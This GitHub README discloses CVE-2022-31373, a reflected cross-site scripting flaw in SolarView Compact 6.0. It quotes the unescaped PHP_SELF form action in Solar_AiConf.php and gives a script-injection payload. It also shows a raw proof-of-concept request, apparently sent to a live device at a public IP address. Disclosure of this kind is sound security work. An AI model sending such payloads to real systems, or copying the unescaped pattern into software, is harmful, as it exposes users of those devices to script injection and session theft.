



badboyxcc Update README.md ...

on Jun 21 10

[View code](#)

README.md

CVE-2022-31373

SolarView_Compact_6.0_xss

Vulnerability code is Solar_AiConf.php

```
60  ?>
61
62  <FORM ACTION="<?·echo·$_SERVER["PHP_SELF"];·?>" METHOD="post">
63
64  <TABLE BORDER="1" WIDTH="80%">
```

payload

```
/"><script>alert("XSS")</script>
```

POC

Pretty 原始 \n Actions

1 GET http://153.234.176.48:9001/Solar_AiConf.php/"><script>alert("XSS")</script> HTTP/1.1
2 Host: 153.234.176.48:9001
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Connection: close
10

Pretty 原始 Render \n Actions

23

24

25 <FORM ACTION="/Solar_AiConf.php/">
 <script>
 alert("XSS")
 </script>
 " METHOD="post">
26
27 <TABLE BORDER="1" WIDTH="80%">
28 <TR>
29 <TH NOWRAP WIDTH="12%">
 Ch
30

153.234.176.48:9001/Solar_AiConf.php/"><script>alert("XSS")</script>

力設定

153.234.176.48:9001 显示
XSS

确定

Releases

No releases published

Packages

No packages published